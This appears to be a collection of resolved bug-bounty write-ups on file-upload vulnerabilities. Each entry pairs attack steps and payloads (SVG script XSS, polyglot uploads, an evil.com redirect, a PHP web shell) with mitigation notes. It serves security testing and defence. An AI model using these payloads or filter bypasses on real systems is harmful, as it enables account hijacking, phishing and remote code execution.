Uploaded SVG files are stored and served with Content-Type image/svg+xml on the app's own origin. Browsers execute script embedded in an SVG rendered as a document, yielding stored XSS.
Method
- Craft an SVG containing a <script> element
- Upload it via any image upload that preserves image content-types
- Get a victim to open the file URL directly on the app origin
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
Insight — SVG is an XSS vector whenever user uploads are served inline from the app origin. Mitigation and detection: check whether SVGs are forced to text/plain or served from a sandbox domain; if not, it's stored XSS.
Real-world example
Content-type sniffing stored XSS (IE) via ZIP-header polyglot
◆ Info
Specimen #151231 · paragonie · none · 15 votes · resolved
Program paragonieSurface webTag file-upload
Root cause
When responses lack X-Content-Type-Options: nosniff, Internet Explorer MIME-sniffs uploaded files and can execute an HTML payload embedded after a benign (ZIP) header, giving stored XSS regardless of the declared Content-Type.
Method
- Build a file with a ZIP header followed by an HTML/JS payload
- Upload as an authenticated user, controlling the served filename
- Send an IE victim the file URL; IE sniffs and renders it as HTML
[ZIP magic bytes]<html><script>alert(document.domain)</script></html>
Insight — Absence of nosniff/X-Download-Options on user-uploaded file responses is exploitable (historically IE). Serve uploads from a sandbox origin, force download, and send nosniff. Detection: check headers on any file-download endpoint.
Real-world example
Content-sniffing upload bypass + slack open-redirect to serve attacker HTML/phishing
◆ Info
Specimen #140447 · slack · awarded · 11 votes · resolved
Program slackSurface webChain file upload (content sniffing) -> trusted-domain open redTag file-uploadTag open-redirect
Root cause
Upload sanitization checked the leading bytes/declared type but the server later served the file so browsers content-sniffed prepended binary garbage + HTML as text/html; a same-origin file link (checkcookie?redir / files-pri path) then acted as an open redirect to render it.
Method
- Upload a file with Content-Type: text/html and filename pixel.png whose body is a chunk of binary bytes followed by an HTML/JS document
- Generate the public file link (files.slack.com/files-pri/.../pixel?pub_secret=...)
- Wrap it in the open redirect: https://slack.com/checkcookie?redir=<file link> (or use slack.com/files-pri/... directly)
- Victim clicking the trusted slack.com link lands on attacker-controlled HTML/JS (redirect, phishing login, malware)
POST /api/files.uploadAsync HTTP/1.1
Host: upload.slack.com
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="file"; filename="pixel.png"
Content-Type: text/html
<binary bytes here>
<html><script>window.location='http://evil.com'</script></html>
--X--
# then: https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/<TEAM>-<FILE>/pixel?pub_secret=<secret>
Insight — When an upload filter only inspects the declared type or first bytes, prepend arbitrary binary padding before your HTML so the signature check passes but the browser still content-sniffs and renders HTML. Pair with any same-origin redirect endpoint to make the payload load from the trusted domain.
Real-world example
Alternate PHP extension upload (.php5) -> RCE
◆ Info
Specimen #84374 · owncloud · none · 9 votes · resolved
Program owncloudSurface webTag file-upload
Root cause
An upload feature allows a server-executable extension (.php5) into a web-accessible directory, so the uploaded file runs as PHP when requested.
Method
- Upload a file with an alternate PHP extension (php5/phtml/php7)
- Locate it under the content path
- Request it to execute the embedded PHP
171172-1.php5:
<?php phpinfo(); ?>
Insight — When .php is blocked, try alternate handler extensions: php3 php4 php5 php7 phtml pht phar; success depends on the AddHandler/mod_php config, not just the extension blacklist.
Real-world example
SVG upload via renamed extension bypasses image filter
◆ Info
Specimen #161301 · instacart · awarded · 7 votes · resolved
Program instacartSurface webTag file-upload
Root cause
The image-upload feature rejects .svg by extension but accepts an SVG file renamed to .png; the server stores and serves it as an image, so SVG content (potentially scriptable) is accepted despite the filter.
Method
- Prepare an SVG file, rename it to file.png
- Upload it to the list/recipe image field; the extension check passes
- The SVG renders in the image area -> filter bypassed
# save malicious.svg as file.png, upload
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
Insight — Extension-only filters are bypassed by renaming; always test SVG->.png/.jpg. If the file is later served with an image/svg+xml type or opened directly, SVG becomes stored XSS. Verify server-side content sniffing and the Content-Type it serves back.
Real-world example
Remote-URL avatar fetch stores attacker-chosen extension (SVG XSS / arbitrary file)
◆ Info
Specimen #149268 · expressionengine · none · 6 votes · resolved
Program expressionengineSurface webChain remote fetch -> stored file in web root -> SVG stored Tag file-upload
Root cause
A 'set avatar from external link' feature downloads whatever the URL returns and writes it into the public uploads folder preserving the source extension, with no content/type validation, yielding stored SVG XSS and arbitrary file placement.
Method
- Set avatar via 'Link to avatar' to http://ATTACKER/test.svg containing a script
- Server fetches it and saves /images/avatars/test_1.svg under web root
- Open the stored SVG in a browser -> script executes; other extensions (.zip, executable) also land on disk
Link to avatar: http://ATTACKER/test.svg
<!-- test.svg: <svg xmlns=... onload=alert(document.domain)> -->
Insight — URL-fetch avatar/import features are combined file-write + SSRF sinks: extension and content are attacker-controlled; test .svg (stored XSS) and executable extensions.
Real-world example
Stored XSS via uploaded SVG served as image/svg+xml
◆ Info
Specimen #100565 · slack · none · 4 votes · resolved
Program slackSurface webTag file-upload
Root cause
An SVG is uploaded and later served with Content-Type image/svg+xml and rendered inline; SVG supports onload handlers and <script>, so the browser executes embedded JS in the serving domain's origin.
Method
- Craft an SVG with onload/inline <script>
- Upload to a channel/DM or via public share link
- Click the message/preview -> browser navigates to the file domain and renders the SVG, executing JS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><script type="text/javascript"><![CDATA[ /* code */ ]]></script></svg>
Insight — Any upload feature that serves user files with image/svg+xml (or text/html) inline is XSS-prone even on a 'sandbox' file domain (usable for convincing phishing). Test SVG uploads; fixes are Content-Disposition: attachment, Content-Type text/plain, or CSP default-src 'none'.
Real-world example
Upload extension filter bypass via POST/multipart tampering
◆ Info
Specimen #142940 · drchrono · awarded · 3 votes · resolved
Program drchronoSurface webTag file-upload
Root cause
An upload restricted to .pdf enforced the check client-side / on the displayed extension; renaming a .php file to .pdf and tampering the raw multipart POST let the actual PHP content through and be stored.
Method
- Attempt upload of a .php file (rejected as non-PDF).
- Rename to .pdf; if still rejected, intercept and tamper the multipart POST (filename/Content-Type) so the server accepts it.
- Confirm the raw file is stored at the returned URL.
Content-Disposition: form-data; name="file"; filename="shell.pdf"
Content-Type: application/pdf
<?php system($_GET['c']); ?>
Insight — Never trust client-side/extension-only upload checks; intercept and forge filename + Content-Type in the multipart body. Impact hinges on where the file lands (execution only if served from an interpreter-enabled path, not a static CDN).
Real-world example
Stored XSS via branding/logo image upload accepting HTML
◆ Info
Specimen #155690 · nextcloud · none · 2 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
The logo / login-background upload does not validate that the file is really an image; an .html (or HTML disguised as an image) is stored under /data/ and served with an HTML content-type on the same origin.
Method
- Upload an HTML file (or HTML-content 'image') via the theming logo/login-image upload
- Browse to the stored path under /data/themedinstancelogo etc.
- Browser renders it as HTML -> same-origin script execution
<html><body><script>alert(document.domain)</script></body></html> (uploaded as the logo file)
Insight — Logo/avatar/branding upload fields are XSS sinks when the app serves the file inline from its own origin. Test with HTML and SVG payloads; note PHP was served as text here (no RCE) - the win is same-origin HTML/SVG execution.